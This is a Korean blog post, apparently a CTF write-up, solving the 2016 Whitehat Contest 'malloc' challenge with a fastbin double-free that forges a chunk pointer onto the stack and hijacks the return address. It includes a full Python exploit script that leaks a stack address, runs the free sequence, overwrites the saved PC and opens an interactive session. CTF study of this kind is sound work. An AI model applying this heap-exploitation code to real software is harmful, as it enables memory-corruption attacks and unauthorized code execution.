y0u_bat

2016 Whitehat contest Malloc 본문

CTF

2016 Whitehat contest Malloc

유뱃 2016. 11. 2. 09:42

2016 Whitehat contest Malloc

2016 화이트햇콘테스트 예선전 malloc 풀이

이 문제는 fastbin구조에서 더블프리버그를 이용하여 fd를 조작해, 푸는 문제이다.

Imgur

간단히 메뉴를 설명하자면,

1번은 malloc 하는 메뉴

2번은 free하는 메뉴

3번은 print하는 메뉴

메뉴 4번은 modify 하는 메뉴이다.

내가 푼 방법은 1번 메뉴만 잘보면 된다. how2heap fastbindupinto_stack.c와 같은 방법으로 풀었다.

Imgur

32 이하만큼 원하는 주소로 할당이 가능하고 write가 가능하다.

스택쪽으로 주소를 돌리고, bof를 하여 system("cat /home/easy_malloc/flag")쪽으로 $pc를 바꾸면 된다.

Imgur

exploit.py

from socket import *
from telnetlib import *
from struct import *

p = lambda x : pack("<Q",x)
up = lambda x : unpack("<Q",x)[0]

HOST = "192.168.207.132"
PORT = 4444

get_flag = 0x400986

def recvuntil(str_):
    data = ''
    while not data.endswith(str_):
    tmp = s.recv(1)
    if not tmp: break
    data += tmp
return data

def malloc(index,str_):
    s.send("1\n")
    print recvuntil("Enter size :")
    s.send(str(index)+'\n')
    print recvuntil("Enter data : ")
    s.send(str_+'\n')
    print s.recv(2048)

def leak():
    print recvuntil("Stack Address : ")
    leak_address = int(s.recv(14),16)
    print "[+] Leak Stack Address : " +     hex(leak_address)
    print recvuntil(">")
    return leak_address


def free(index):
    s.send("2\n")
    print recvuntil("Which one do you want to free : ")
    s.send(str(index)+'\n')
    print recvuntil(">")

s = socket(AF_INET,SOCK_STREAM)
s.connect((HOST,PORT))

leak_address = leak()

malloc(32,"a"*32)
malloc(32,"b"*32)

free(1)
free(2)
free(1)
malloc(32,p(leak_address-0x58).split("\x00\x00")[0])

malloc(32,"b"*32)
malloc(32,"a"*32)
malloc(49,"a"*24+p(get_flag))

print s.recv(1024)

t = Telnet()
t.sock = s
t.interact()

'CTF' 카테고리의 다른 글

[HITCON] Secret Holder  (0) 2016.11.24
[BCTF] BCloud  (0) 2016.11.18
[2016] EKOPARTY PWN25  (0) 2016.10.29
[2016] EKOPARTY PWN100  (0) 2016.10.29
[2016] HDCON System Q3-1  (0) 2016.10.28
Comments